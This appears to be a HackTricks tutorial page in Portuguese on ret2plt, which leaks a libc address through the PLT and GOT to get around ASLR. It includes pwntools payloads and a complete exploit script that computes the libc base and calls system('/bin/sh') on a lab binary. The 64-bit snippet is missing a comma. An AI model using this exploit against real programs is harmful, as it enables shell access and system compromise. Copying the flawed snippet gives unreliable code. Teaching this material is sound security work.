hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md

5.1 KiB

Ret2plt

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

O objetivo desta técnica seria vazar um endereço de uma função do PLT para conseguir contornar o ASLR. Isso ocorre porque, se, por exemplo, você vazar o endereço da função puts da libc, você pode então calcular onde está a base da libc e calcular offsets para acessar outras funções como system.

Isso pode ser feito com um payload pwntools como (a partir daqui):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Note como puts (usando o endereço do PLT) é chamado com o endereço de puts localizado na GOT (Tabela de Deslocamento Global). Isso ocorre porque, quando puts imprime a entrada da GOT de puts, esta entrada conterá o endereço exato de puts na memória.

Também note como o endereço de main é usado no exploit, então quando puts termina sua execução, o binário chama main novamente em vez de sair (assim o endereço vazado continuará a ser válido).

{% hint style="danger" %} Note como, para que isso funcione, o binário não pode ser compilado com PIE ou você deve ter encontrado um leak para contornar o PIE a fim de saber o endereço do PLT, GOT e main. Caso contrário, você precisa contornar o PIE primeiro. {% endhint %}

Você pode encontrar um exemplo completo desse bypass aqui. Este foi o exploit final daquele exemplo:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Outros exemplos e Referências

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}